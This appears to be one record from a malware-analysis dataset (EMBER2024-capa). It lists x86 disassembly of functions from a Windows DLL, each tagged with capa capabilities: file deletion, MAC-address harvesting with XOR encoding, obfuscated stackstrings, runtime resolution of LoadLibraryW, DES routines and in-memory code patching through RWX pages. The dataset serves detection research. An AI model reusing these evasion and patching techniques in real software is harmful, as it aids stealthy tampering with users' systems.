joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002f51
Capabilities:
Check if file exists
Delete file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push str..cached_header
push dword [ebp + 0xc]
call fcn.10004041
pop ecx
pop ecx
push dword [ebp + 0xc]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10002f7d
test al, 0x10
je 0x10002f85
push dword [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [esi]
call fcn.10003d1b
mov edi, eax
pop ecx
mov dword [ebp - 0x10], edi
call fcn.10003ff1
xor ebx, ebx
cmp edi, ebx
jne 0x10002fa4
xor eax, eax
jmp 0x100030f5
mov esi, dword [ebp + 8]
add esi, 0x2d8
mov dword [ebp - 8], 0x21
mov ecx, dword [esi]
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10004105
add esp, 0x14
add esi, 8
dec dword [ebp - 8]
jne 0x10002fb4
mov esi, dword [edi]
mov eax, dword [edi + 4]
add eax, esi
cmp esi, eax
mov dword [ebp - 0x44], 3
mov dword [ebp - 0x40], 0xe
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x38], 0x16
mov dword [ebp - 0x34], 0x14
mov dword [ebp - 0x30], 0xc
mov dword [ebp - 0x2c], 9
mov dword [ebp - 0x28], 0x15
mov dword [ebp - 0x24], 0x1c
mov dword [ebp - 0x20], 0x1d
mov dword [ebp - 0x1c], 0x1e
mov dword [ebp - 0x18], 0x1f
mov dword [ebp - 0x14], 0x20
mov dword [ebp - 4], eax
je 0x100030ed
jmp 0x1000303c
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
mov ebx, dword [ebp + eax*4 - 0x44]
mov eax, dword [ebp + 8]
lea edi, [eax + ebx*8 + 0x2d4]
mov eax, dword [edi]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x100030b5
mov edx, dword [ebp - 4]
sub edx, esi
cmp ecx, edx
jg 0x100030b5
mov eax, dword [eax]
push esi
call fcn.10004935
test eax, eax
pop ecx
je 0x100030b5
mov eax, dword [edi]
add esi, dword [eax + 4]
cmp esi, dword [ebp - 4]
mov edi, esi
jmp 0x10003093
push 0x100444a8
push edi
call fcn.10004914
test eax, eax
pop ecx
pop ecx
jne 0x10003098
inc edi
cmp edi, dword [ebp - 4]
mov dword [ebp - 0xc], edi
jne 0x1000307e
mov eax, dword [ebp + 8]
sub edi, esi
push esi
mov esi, dword [eax + ebx*8 + 0x2d8]
call fcn.10004095
mov esi, dword [ebp - 0xc]
pop ecx
mov dword [ebp - 0xc], 1
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xd
jb 0x10003042
cmp dword [ebp - 0xc], 0
jne 0x100030c5
inc esi
cmp esi, dword [ebp - 4]
je 0x100030ea
push 0x100444a8
push esi
call fcn.10004914
test eax, eax
pop ecx
pop ecx
jne 0x100030e1
inc esi
cmp esi, dword [ebp - 4]
jne 0x100030ca
cmp esi, dword [ebp - 4]
jne 0x1000303a
mov edi, dword [ebp - 0x10]
call fcn.10003daf
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004872
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
push ebx
push ebp
push edi
push 0
push 0x100441e4
call fcn.10004041
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
pop ecx
pop ecx
push dword [esp + 0x18]
mov dword [esp + 0x10], eax
call ebx
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov edi, eax
test edi, edi
je 0x1000490a
cmp word [edi], 0
push esi
mov esi, edi
je 0x10004902
mov eax, dword [esp + 0x10]
cmp dword [eax + 4], 0
jne 0x10004902
push 0x3d
lea eax, [esi + 2]
call fcn.10004976
mov dword [esp + 0x18], eax
sub eax, esi
sar eax, 1
cmp eax, ebp
pop ecx
jne 0x100048f5
lea eax, [ebp + ebp]
push eax
push esi
push dword [esp + 0x24]
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x100048f5
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
add eax, 2
push eax
call fcn.100040da
pop ecx
push esi
call ebx
lea esi, [esi + eax*2 + 2]
cmp word [esi], 0
jne 0x100048ac
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
pop esi
mov eax, dword [esp + 0xc]
pop edi
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x10004bc7
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push edi
xor edi, edi
push 0x206
lea eax, [ebp - 0x206]
push edi
push eax
mov word [ebp - 0x208], di
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
push edi
push edi
push dword [ebp + 8]
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x10004c49
push esi
push 0x104
lea eax, [ebp - 0x208]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea eax, [ebp - 0x208]
push edi
push eax
call fcn.10004041
mov esi, eax
mov eax, dword [esi + 4]
cmp eax, edi
pop ecx
pop ecx
je 0x10004c44
mov ecx, dword [esi]
cmp word [ecx + eax*2 - 2], 0x5c
je 0x10004c44
push 0x5c
call fcn.10004230
pop ecx
mov eax, esi
pop esi
jmp 0x10004c56
push edi
push 0x100441e4
call fcn.10004041
pop ecx
pop ecx
pop edi
leave
ret

Function at 0x10006b33
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor eax, eax
xor edi, edi
call fcn.10003dfb
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 4
pop esi
call fcn.10003f87
mov edi, dword [ebp + 8]
push dword [edi]
mov ebx, dword [edi + 4]
mov esi, eax
call fcn.100041c0
mov eax, dword [esi]
mov edx, dword [eax]
pop ecx
pop ecx
push 4
pop ecx
cmp dword [esi + 4], ecx
jbe 0x10006b8c
mov eax, dword [esi]
imul edx, edx, 0x3279092d
add edx, 0x54d794f
add eax, ecx
mov ebx, edx
shr ebx, 0x18
xor byte [eax], bl
inc ecx
cmp ecx, dword [esi + 4]
jb 0x10006b6f
push dword [esi + 4]
push dword [esi]
call fcn.1000478c
pop ecx
pop ecx
mov ebx, eax
call fcn.10004019
mov ecx, dword [ebx + 4]
mov eax, dword [edi + 4]
mov dword [edi + 4], ecx
mov ecx, dword [ebx]
mov dword [ebx + 4], eax
mov eax, dword [edi]
mov dword [edi], ecx
mov esi, ebx
mov dword [ebx], eax
call fcn.10004019
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006e4c
Capabilities:
Encode data using xor
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push 8
pop ebx
xor eax, eax
mov ecx, ebx
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
mov eax, 0x288
push eax
mov dword [ebp - 8], eax
call sub.MSVCRT.dll_malloc
pop ecx
lea ecx, [ebp - 8]
push ecx
push eax
mov dword [ebp - 4], eax
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x10006ea1
push dword [ebp - 4]
call sub.MSVCRT.dll_free
push dword [ebp - 8]
call sub.MSVCRT.dll_malloc
pop ecx
pop ecx
lea ecx, [ebp - 8]
push ecx
push eax
mov dword [ebp - 4], eax
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x10006eed
mov edi, dword [ebp - 4]
lea esi, [ebp - 0x2c]
mov dword [ebp - 0xc], ebx
mov eax, esi
sub dword [ebp - 0xc], eax
test edi, edi
je 0x10006eed
push ebx
lea eax, [edi + 0x194]
push eax
push esi
call sub.MSVCRT.dll_memcpy
mov eax, dword [esi]
add esp, 0xc
or eax, dword [esi + 4]
je 0x10006edf
or cl, 0xff
mov eax, esi
mov edx, ebx
xor byte [eax], cl
inc eax
add cl, 0xf3
dec edx
jne 0x10006ed6
mov eax, dword [ebp - 0xc]
mov edi, dword [edi]
add esi, ebx
add eax, esi
cmp eax, 0x20
jbe 0x10006eb3
push dword [ebp - 4]
call sub.MSVCRT.dll_free
mov edi, ebx
lea ebx, [ebp - 0x2c]
pop ecx
sub ebx, 8
lea eax, [ebx + edi]
push 8
push eax
call fcn.1000478c
mov esi, eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push dword [esi]
mov eax, 0x100445d0
push dword [ebp + 8]
call fcn.10004296
add esp, 0x28
call fcn.10004019
add edi, 8
cmp edi, 0x20
jbe 0x10006efe
push 0x20
pop ecx
pop edi
pop esi
lea eax, [ebp - 0x2c]
pop ebx
mov byte [eax], 0
inc eax
dec ecx
jne 0x10006f3b
leave
ret
Function at 0x10006f44
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.0002
call fcn.1000405d
mov edi, eax
push edi
call fcn.10006e4c
add esp, 0x24
push 0x65
pop eax
mov esi, 0x100441e4
push esi
push 0x28
push 2
push edi
mov word [ebp - 0x38], 0x4d
mov word [ebp - 0x36], 0x69
mov word [ebp - 0x34], 0x63
mov word [ebp - 0x32], 0x72
mov word [ebp - 0x30], 0x6f
mov word [ebp - 0x2e], 0x73
mov word [ebp - 0x2c], 0x6f
mov word [ebp - 0x2a], 0x66
mov word [ebp - 0x28], 0x74
mov word [ebp - 0x26], 0x5c
mov word [ebp - 0x24], 0x53
mov word [ebp - 0x22], ax
mov word [ebp - 0x20], 0x61
mov word [ebp - 0x1e], 0x72
mov word [ebp - 0x1c], 0x63
mov word [ebp - 0x1a], 0x68
mov word [ebp - 0x18], bx
mov word [ebp - 0x14], 0x47
mov word [ebp - 0x12], 0x61
mov word [ebp - 0x10], 0x6d
mov word [ebp - 0xe], ax
mov word [ebp - 0xc], 0x74
mov word [ebp - 0xa], 0x72
mov word [ebp - 8], ax
mov word [ebp - 6], ax
mov word [ebp - 4], bx
call fcn.10006c2b
lea eax, [ebp - 0x38]
push eax
push 0x23
push 3
push edi
call fcn.10006c2b
lea eax, [ebp - 0x14]
push eax
push 0x23
push 4
push edi
call fcn.10006c2b
push esi
push 0x1a
push 5
push edi
call fcn.10006c2b
add esp, 0x40
push 0x22
pop ecx
lea eax, [ebp - 0x38]
mov byte [eax], bl
inc eax
dec ecx
jne 0x1000703e
push 0x12
pop ecx
lea eax, [ebp - 0x14]
mov byte [eax], bl
inc eax
dec ecx
jne 0x1000704a
push edi
call fcn.10006b33
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10014804
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 4
lea eax, [ebp - 4]
push 0
push eax
call sub.MSVCRT.dll_memset
push 6
lea eax, [ebp - 0xc]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
push 0x30
push 0x1005a7c8
call fcn.1001476a
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
xor ecx, ecx
sub edi, eax
lea eax, [ebp + ecx - 0xc]
mov dl, byte [edi + eax]
xor byte [eax], dl
inc ecx
cmp ecx, 6
jl 0x10014845
mov al, byte [ebp - 0xc]
push 0
shr al, 2
call fcn.100147d9
mov cl, byte [ebp - 0xb]
shl al, 4
or byte [ebp - 4], al
mov al, byte [ebp - 0xc]
and al, 3
shl al, 4
shr cl, 4
push 1
or al, cl
call fcn.100147d9
or byte [ebp - 4], al
mov al, byte [ebp - 0xb]
mov cl, byte [ebp - 0xa]
and al, 0xf
shl al, 2
shr cl, 6
push 2
or al, cl
call fcn.100147d9
shl al, 4
or byte [ebp - 3], al
mov al, byte [ebp - 0xa]
push 3
and al, 0x3f
call fcn.100147d9
or byte [ebp - 3], al
mov al, byte [ebp - 9]
push 4
shr al, 2
call fcn.100147d9
mov cl, byte [ebp - 8]
shl al, 4
or byte [ebp - 2], al
mov al, byte [ebp - 9]
and al, 3
shl al, 4
shr cl, 4
push 5
or al, cl
call fcn.100147d9
or byte [ebp - 2], al
mov al, byte [ebp - 8]
mov cl, byte [ebp - 7]
and al, 0xf
shl al, 2
shr cl, 6
push 6
or al, cl
call fcn.100147d9
shl al, 4
or byte [ebp - 1], al
mov al, byte [ebp - 7]
push 7
and al, 0x3f
call fcn.100147d9
or byte [ebp - 1], al
push 4
push 0
push dword [ebp + 0x10]
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 0x10]
lea eax, [ebp - 4]
push eax
push 0x20
push 0x1005a7f8
call fcn.1001476a
pop edi
leave
ret 0xc

Function at 0x1001492d
Capabilities:
Encode data using xor

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0x94
push ebx
push esi
push edi
push 8
mov edi, eax
lea eax, [ebp - 0x28]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push dword [ebp + 0x74]
push 0x40
push 0x1005a858
call fcn.1001476a
cmp dword [ebp + 0x7c], 0
push 0x10
lea esi, [ebp - 0x24]
pop ebx
je 0x1001499a
mov eax, dword [esi]
mov dword [esi + 4], eax
lea eax, [ebp + 0x68]
push eax
push edi
push esi
call fcn.10014804
xor eax, eax
add esi, 8
mov cl, byte [esi + eax - 0xc]
xor cl, byte [ebp + eax + 0x68]
mov byte [esi + eax], cl
inc eax
cmp eax, 4
jl 0x10014981
add edi, 6
dec ebx
jne 0x1001496c
jmp 0x100149c9
add edi, 0x5a
mov eax, dword [esi]
mov dword [esi + 4], eax
lea eax, [ebp + 0x68]
push eax
push edi
push esi
call fcn.10014804
xor eax, eax
add esi, 8
mov cl, byte [esi + eax - 0xc]
xor cl, byte [ebp + eax + 0x68]
mov byte [esi + eax], cl
inc eax
cmp eax, 4
jl 0x100149b2
sub edi, 6
dec ebx
jne 0x1001499d
pop edi
pop esi
xor eax, eax
pop ebx
mov cl, byte [ebp + eax + 0x5c]
mov byte [ebp + eax + 0x60], cl
mov cl, byte [ebp + eax + 0x58]
mov byte [ebp + eax + 0x64], cl
inc eax
cmp eax, 4
jl 0x100149ce
push 8
push 0
push dword [ebp + 0x78]
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 0x78]
lea eax, [ebp + 0x60]
push eax
push 0x40
push 0x1005a818
call fcn.1001476a
add ebp, 0x6c
leave
ret 0xc
Function at 0x10014a0d
Capabilities:
Encrypt data using des

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x98
push ebx
push esi
push edi
push 7
xor edi, edi
lea eax, [ebp + 0x68]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + 0x68]
push eax
push dword [ebp + 0x78]
push 0x38
push str.80_
call fcn.1001476a
movzx edx, byte [ebp + 0x69]
movzx eax, byte [ebp + 0x6b]
xor ecx, ecx
mov ch, byte [ebp + 0x68]
xor esi, esi
inc esi
or ecx, edx
movzx edx, byte [ebp + 0x6a]
shl ecx, 8
or ecx, edx
mov edx, eax
shl ecx, 4
shr edx, 4
or ecx, edx
and eax, 0xf
shl eax, 8
mov dword [ebp - 0x28], ecx
movzx ecx, byte [ebp + 0x6c]
or eax, ecx
movzx ecx, byte [ebp + 0x6d]
shl eax, 8
or eax, ecx
movzx ecx, byte [ebp + 0x6e]
shl eax, 8
or eax, ecx
mov edx, 0x1005a8d0
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
dec edx
cmp byte [edx + esi], 2
mov ecx, dword [eax - 4]
mov ebx, ecx
jne 0x10014ab9
sar ebx, 0x1a
and ebx, 3
shl ecx, 2
or ebx, ecx
mov ecx, dword [eax]
mov dword [eax + 4], ebx
mov ebx, ecx
sar ebx, 0x1a
and ebx, 3
shl ecx, 2
jmp 0x10014ad2
sar ebx, 0x1b
and ebx, 1
add ecx, ecx
or ebx, ecx
mov ecx, dword [eax]
mov dword [eax + 4], ebx
mov ebx, ecx
sar ebx, 0x1b
and ebx, 1
add ecx, ecx
or ebx, ecx
mov dword [eax + 8], ebx
inc esi
add eax, 8
cmp esi, 0x11
jl 0x10014a91
mov ebx, dword [ebp + 0x7c]
push 0x60
push edi
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + edi*8 - 0x20]
mov ecx, dword [eax]
mov al, byte [eax]
mov edx, ecx
sar edx, 0x14
mov byte [ebp + 0x60], dl
mov edx, ecx
sar ecx, 4
sar edx, 0xc
mov byte [ebp + 0x62], cl
lea ecx, [ebp + edi*8 - 0x1c]
mov esi, dword [ecx]
mov byte [ebp + 0x61], dl
shl al, 4
mov edx, esi
sar edx, 0x18
and dl, 0xf
or dl, al
mov eax, esi
sar eax, 0x10
mov byte [ebp + 0x64], al
mov eax, esi
sar eax, 8
mov byte [ebp + 0x65], al
mov al, byte [ecx]
push ebx
mov byte [ebp + 0x66], al
lea eax, [ebp + 0x60]
push eax
push 0x30
push 0x1005a8e0
mov byte [ebp + 0x63], dl
call fcn.1001476a
inc edi
add ebx, 6
cmp edi, 0x10
jl 0x10014aef
pop edi
pop esi
pop ebx
add ebp, 0x70
leave
ret 8
Function at 0x10014e6b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 0xc], 0x6b
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6e
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x33
mov byte [ebp - 5], 0x32
mov byte [ebp - 4], 0
mov byte [ebp - 0x1c], 0x4c
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x4c
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x62
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x79
mov byte [ebp - 0x11], 0x57
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10014ee4
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x10014ee6
xor eax, eax
push 9
pop edx
lea ecx, [ebp - 0xc]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x10014eec
push 0xd
pop edx
lea ecx, [ebp - 0x1c]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x10014ef9
test eax, eax
je 0x10014f0b
push dword [ebp + 8]
call eax
leave
ret
xor eax, eax
leave
ret

Function at 0x10015387
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x1c
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x30]
push ebx
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x30]
add ecx, eax
push ecx
call esi
test eax, eax
je 0x10015484
push edi
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x1001546a
cmp dword [ebp - 0x1c], 0x20
jne 0x1001546a
cmp dword [ebp - 0x18], 0x1000000
jne 0x1001546a
cmp dword [ebp - 4], eax
je 0x100153fe
xor ebx, ebx
cmp eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
sete bl
mov edi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
add eax, edi
mov dword [ebp - 0x10], eax
jmp 0x10015466
lea eax, [edi + 0x40]
cmp eax, dword [ebp - 0x10]
ja 0x1001546a
push 0x40
push dword [ebp + 8]
push edi
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10015465
lea eax, [ebp - 0x14]
push eax
push 0x40
push dword [ebp - 0x24]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10015465
push 0x40
push dword [ebp + 0xc]
push edi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x1c]
mov dword [ebp - 8], 1
push dword [ebp - 0x24]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ebx, ebx
inc edi
test ebx, ebx
jne 0x1001540b
mov ecx, dword [ebp - 0x30]
push 0x1c
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x24]
add eax, ecx
push eax
call esi
test eax, eax
jne 0x100153d0
pop edi
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret
Function at 0x1001548b
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x1c
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x38]
push esi
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0x2c]
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x38]
add ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x100155ce
push edi
jmp 0x100154d8
xor esi, esi
mov eax, dword [ebp - 0x34]
cmp eax, esi
je 0x100155b0
cmp dword [ebp - 0x24], 0x20
jne 0x100155b0
cmp dword [ebp - 0x20], 0x1000000
jne 0x100155b0
cmp dword [ebp - 0xc], eax
je 0x1001550d
xor ecx, ecx
cmp eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
sete cl
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x2c]
add ecx, eax
cmp dword [ebp - 4], esi
mov dword [ebp - 0x18], ecx
je 0x100155b3
mov esi, eax
lea ecx, [eax + 0x40]
sub esi, ebx
mov dword [ebp - 8], ecx
add esi, 0x3c
jmp 0x10015533
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x18]
cmp dword [ebp - 8], ecx
ja 0x100155b3
push 0x40
push dword [ebp + 8]
lea edi, [ebx + esi - 0x3c]
push edi
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x100155a6
lea eax, [ebp - 0x1c]
push eax
push 0x40
push dword [ebp - 0x2c]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x100155a6
mov eax, dword [ebp + 0xc]
sub eax, edi
lea eax, [eax + ebx - 0x40]
push ebx
mov dword [esi], eax
lea eax, [esi + 4]
push 0x90
push eax
mov byte [esi - 1], 0xe8
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x24]
mov dword [ebp - 0x10], 1
push dword [ebp - 0x2c]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
and dword [ebp - 4], 0
inc dword [ebp - 8]
inc esi
cmp dword [ebp - 4], 0
jne 0x10015530
mov eax, dword [ebp - 0x38]
push 0x1c
lea ecx, [ebp - 0x38]
push ecx
mov ecx, dword [ebp - 0x2c]
add ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x100154d6
pop edi
mov eax, dword [ebp - 0x10]
pop esi
leave
ret
Function at 0x100155d4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
xor eax, eax
push 0x1c
push eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x28]
push eax
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x28]
add ecx, eax
push ecx
call esi
test eax, eax
je 0x10015689
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10015673
cmp dword [ebp - 0x14], 0x20
je 0x10015627
cmp dword [ebp - 0x14], 0x10
jne 0x10015673
cmp dword [ebp - 0x10], 0x1000000
jne 0x10015673
cmp dword [ebp - 4], eax
je 0x10015673
cmp eax, edi
mov dword [ebp - 4], eax
ja 0x10015673
mov ecx, dword [ebp - 0x1c]
add eax, ecx
lea edx, [edi + 4]
cmp edx, eax
ja 0x10015673
lea eax, [ebp - 0xc]
push eax
push 0x40
push ecx
push dword [ebp - 0x28]
call ebx
test eax, eax
je 0x10015673
mov eax, dword [ebp + 8]
mov dword [edi], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], 1
push dword [ebp - 0x1c]
push dword [ebp - 0x28]
call ebx
mov ecx, dword [ebp - 0x1c]
push 0x1c
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x28]
add ecx, eax
push ecx
call esi
test eax, eax
jne 0x10015614
pop ebx
mov eax, dword [ebp - 8]
pop esi
leave
ret
Function at 0x10018aeb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov al, 0xff
push ebx
mov byte [ebp - 0x40], al
mov byte [ebp - 0x3b], al
mov byte [ebp - 0x3a], al
mov byte [ebp - 0x27], al
mov byte [ebp - 0x26], al
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x1d], al
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
push 0x10018abc
lea eax, [ebp - 0x40]
push eax
push 0xb
pop ebx
mov byte [ebp - 0x3f], 0x8b
mov byte [ebp - 0x3e], 0x85
mov byte [ebp - 0x3d], 0x60
mov byte [ebp - 0x3c], 0xfb
mov byte [ebp - 0x39], 0x3b
mov byte [ebp - 0x38], 5
mov byte [ebp - 0x37], 0x84
mov byte [ebp - 0x36], 0x5d
mov byte [ebp - 0x35], 0xea
mov byte [ebp - 0x34], 1
mov byte [ebp - 0x33], 0x74
mov byte [ebp - 0x32], 0x7e
mov byte [ebp - 0x31], 0x8b
mov byte [ebp - 0x30], 0x40
mov byte [ebp - 0x2f], 0x10
mov byte [ebp - 0x2e], 0x8b
mov byte [ebp - 0x2d], 0x48
mov byte [ebp - 0x2c], 8
mov byte [ebp - 0x2b], 0x89
mov byte [ebp - 0x2a], 0x8d
mov byte [ebp - 0x29], 0x78
mov byte [ebp - 0x28], 0xfb
mov byte [ebp - 0x25], 0x8b
mov byte [ebp - 0x24], 0x50
mov byte [ebp - 0x23], 0xc
mov byte [ebp - 0x22], 0x89
mov byte [ebp - 0x21], 0x95
mov byte [ebp - 0x20], 0x7c
mov byte [ebp - 0x1f], 0xfb
mov byte [ebp - 0x1c], 0xdb
mov byte [ebp - 0x1b], 0x40
mov byte [ebp - 0x1a], 0x10
mov byte [ebp - 0x19], 0xd9
mov byte [ebp - 0x18], 0x9d
mov byte [ebp - 0x17], 0x80
mov byte [ebp - 0x16], 0xfb
mov byte [ebp - 0x13], 0x8b
mov byte [ebp - 0x12], 0x48
mov byte [ebp - 0x11], 0x14
mov byte [ebp - 0x10], 0xf7
mov byte [ebp - 0xf], 0xd9
mov byte [ebp - 0xe], 0x1b
mov byte [ebp - 0xd], 0xc9
mov byte [ebp - 0xc], 0x81
mov byte [ebp - 0xb], 0xe1
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0xfa
mov byte [ebp - 8], 0xa
mov byte [ebp - 7], 0
mov byte [ebp - 6], 0x81
mov byte [ebp - 5], 0xc1
mov byte [ebp - 4], 0x4d
mov byte [ebp - 3], 0x50
mov byte [ebp - 2], 0x45
mov byte [ebp - 1], 0x47
call fcn.1001548b
pop ecx
pop ecx
pop ebx
leave
ret